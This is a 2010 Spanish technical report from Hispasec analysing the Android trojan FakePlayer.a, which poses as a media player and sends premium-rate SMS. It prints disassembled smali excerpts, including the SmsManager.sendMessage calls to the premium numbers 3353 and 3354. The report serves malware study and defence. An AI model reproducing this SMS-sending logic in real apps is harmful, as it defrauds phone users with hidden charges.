



HISPASEC SISTEMAS

SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Documento técnico:

**Estudio del troyano: Trojan-
SMS.AndroidOS.FakePlayer.a**

Agosto 2010

David García Núñez
dgarcia@hispasec.com

1. Introducción

En los laboratorios de Kaspersky se han topado esta semana con lo que podría ser el primer espécimen que afecta, de manera significativa, al sistema operativo para dispositivos móviles de Google: Android.

Era cuestión de tiempo que una plataforma como Android, con una cuota cada vez más amplia en el mercado de los smartphones, dejara de ser ignorada para los creadores de malware.

No obstante, sin explosión mediática, ya se tenía conocimiento de spyware en casos puntuales y pruebas de concepto como el rootkit presentado en la última edición de la conferencia BlackHat.

El recién bautizado SMS.AndroidOS.FakePlayer.a, con 13Kb de peso, se dedica una vez instalado en el sistema a enviar SMS indiscriminadamente a números con tarificación especial. Cobrados a algo más de 4 euros el mensaje. En principio sólo parece afectar a Rusia aunque no se descarta que aparezcan versiones adaptadas a otros países.

Llega con la forma de un reproductor multimedia y cuando es instalado pide permiso para efectuar operaciones de acceso a la tarjeta de memoria, envío de SMS y consulta de datos sobre el dispositivo. Autorizaciones sospechosamente poco relacionadas con la prometida funcionalidad de reproducción multimedia.

A pesar de las advertencias del sistema, este tipo de solicitudes podrían ser ignoradas por el usuario medio que no suele reparar y pensárselo mucho antes de pulsar el 'Aceptar' del cuadro de diálogo.

El troyano llegó por primera vez a VirusTotal.com el 4 de agosto, sin ser detectado por ningún antivirus. Poco después fue detectado por este orden, por Dr. Web, Kaspersky y VBA32, todos de factura rusa.

Se da la circunstancia que en el mismo día, la BBC ha publicado un reportaje donde se muestra la creación de una aplicación maliciosa, entre otros smartphones para Android, con funcionalidad de spyware.

A pesar de la coincidencia no está relacionado con el descubrimiento de Kaspersky. Se trata de una prueba de concepto para "demostrar lo fácil que es crear aplicaciones maliciosas para un smartphone".

Recordemos el reportaje del mismo estilo de marzo de 2009. En aquella ocasión la BBC diseminó un malware creado para la ocasión que llegó a infectar 20.000 usuarios y crear una botnet con ellos.

Con tiempo es de esperar que surja más malware para este tipo de dispositivos que día a día van ganando en usuarios.

2. Estudio

El paquete viene en un archivo .apk su MD5 es fdb84ff8125b3790011b83cc85adce16.

Nombre	Fecha de modifica...	Tipo	Tamaño
META-INF	11/08/2010 2:28	Carpeta de archivos	
res	11/08/2010 2:28	Carpeta de archivos	
AndroidManifest.xml	29/07/2010 12:20	Documento XML	2 KB
classes.dex	29/07/2010 12:20	Archivo DEX	6 KB
resources.arsc	29/07/2010 12:20	Archivo ARSC	1 KB

El icono usado por la aplicación, recursos y metainformación.



Con basmalik, desensamblamos el archivo .dex que es el que contiene las clases java. Dex es un formato propio de Android que empaqueta las clases compiladas a bytecode. Es el equivalente a un .jar pero sin la metainformación que en su lugar va en el .apk . Basmalik desempaqueta y desensambla todo el paquete. Por lo que nos encontraremos una estructura de directorio definida por el nombre del paquete Java.

En este caso es el decepcionantemente original...

org.me.androidapplication1

El contenido del paquete:

Nombre	Fecha de modifica...	Tipo	Tamaño
DataHelper\$OpenHelper.smali	11/08/2010 2:38	Archivo SMALI	2 KB
DataHelper.smali	11/08/2010 2:38	Archivo SMALI	5 KB
HelloWorld.smali	11/08/2010 2:38	Archivo SMALI	4 KB
MoviePlayer.smali	11/08/2010 2:38	Archivo SMALI	6 KB
R\$attr.smali	11/08/2010 2:38	Archivo SMALI	1 KB
R\$drawable.smali	11/08/2010 2:38	Archivo SMALI	1 KB
R\$layout.smali	11/08/2010 2:38	Archivo SMALI	1 KB
R\$string.smali	11/08/2010 2:38	Archivo SMALI	1 KB
R.smali	11/08/2010 2:38	Archivo SMALI	1 KB

Entre los archivos llama la atención el "HelloWorld"... Una simple comparación deja claro que se trataba de una prueba inicial. Ya que el archivo con la funcionalidad completa es "MoviePlayer". Que por cierto no tiene, o al menos lo parece, funcionalidad alguna para reproducir video.

const-string v11, "Oops in playsound"

```

8 # virtual methods
9 .method public onCreate(Landroid/os/Bundle;)V
10 >> .registers 14
11 .parameter "icicle"
12
13 .prologue
14 >> const-string v11, "Oops in playsound"
15
16 >> const-string v10, ""
17
18 .line 27
19
20 invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
21
22 .line 28
23 == new-instance v6, Lorg/me/androidapplication1/DataHelper;
24 == invoke-direct {v6, p0}, Lorg/me/androidapplication1/DataHelper;-><init>(Landroid/
25
26 .line 29
27 == .local v6, dh:Lorg/me/androidapplication1/DataHelper;
28 == invoke-virtual {v6}, Lorg/me/androidapplication1/DataHelper;->canwe()Z
29
30 == move-result v2
31
32 == if-eqz v2, :cond_40
33
34 .line 31
35 >> new-instance v9, Landroid/widget/TextView;
36 >> invoke-direct {v9, p0}, Landroid/widget/TextView;-><init>(Landroid/os/Bundle;)V
37
38 # virtual methods
39 .method public onCreate(Landroid/os/Bundle;)V
40 >> .registers 12
41 .parameter "icicle"
42
43 .prologue
44 >> const-string v9, "Oops in playsound"
45
46 >> const-string v8, ""
47
48 .line 23
49 + invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
50
51 .line 24
52 + new-instance v7, Landroid/widget/TextView;
53 + invoke-direct {v7, p0}, Landroid/widget/TextView;-><init>(Landroid/os/Bundle;)V

```

Llama la atención el uso que hace "MoviePlayer" (se observa claramente en el diff) de funciones wala sobre la base de datos "SQLite" en "DataHelper".

```
.field private static final DATABASE_NAME:Ljava/lang/String; =
"movieplayer.db"
```

Por supuesto ahí están los números a los que envía los SMS y las llamadas a las API de Android correspondientes. Los números activos son: 3353 y 3354.

```

.line 54
.local v0, m:Landroid/telephony/SmsManager;
const-string v1, "3353"
.line 55
.local v1, destination:Ljava/lang/String;
const-string v3, "798657"
.line 57
.local v3, text:Ljava/lang/String;
const/4 v2, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
:try_start_2a
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;
->sendMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
:try_end_2d
.catch Ljava/lang/Exception; {:try_start_2a .. :try_end_2d} :catch_44
.line 63
:goto_2d
const-string v1, "3354"
.line 65
const/4 v2, 0x0
const/4 v4, 0x0
const/4 v5, 0x0
:try_start_32
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;
->sendMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;
;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V

```

```
:try_end_35  
.catch Ljava/lang/Exception; {:try_start_32 .. :try_end_35} :catch_4d
```

Enviar el mensaje es un método que requiere 5 parámetros numerados: desde v0 a v5:

```
invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;-  
>sendMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String  
;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
```

v0 es .local v0, m:Landroid/telephony/SmsManager; La instancia única del SmsManager. Obtenida por invocar al método estático:

```
invoke-static {}, Landroid/telephony/SmsManager;-  
>getDefault()Landroid/telephony/SmsManager;
```

v1 es const-string v1, "3353"

El número al que irá destinado.

v2, v4 y v5 van a 0x0. Uno de ellos es el texto del mensaje que indica que va vacío.

El número que aparece más arriba:

```
const-string v3, "798657"
```

Es el parámetro v3, usado para indicar el número de origen.

Desconocemos si se trata del número de teléfono usado por el creador (lo cual sería algo *trágico* si realmente está registrado por él).

Poco después, efectúa una segunda llamada al mismo método sólo que cambia el valor al número de destino "3354".

3. Referencias:

First SMS Trojan for Android :

http://www.securelist.com/en/blog/2254/First_SMS_Trojan_for_Android

API Android: <http://developer.android.com/reference/android/telephony/SmsManager.html>

Smali: <http://code.google.com/p/smali/>

VirusTotal: <http://www.virustotal.com/file-scan/report.html?id=14ebc4e9c7c297f3742c41213938ee01fd198dd4f4a5f188bbbb6ffcf4db5f14-1281468088>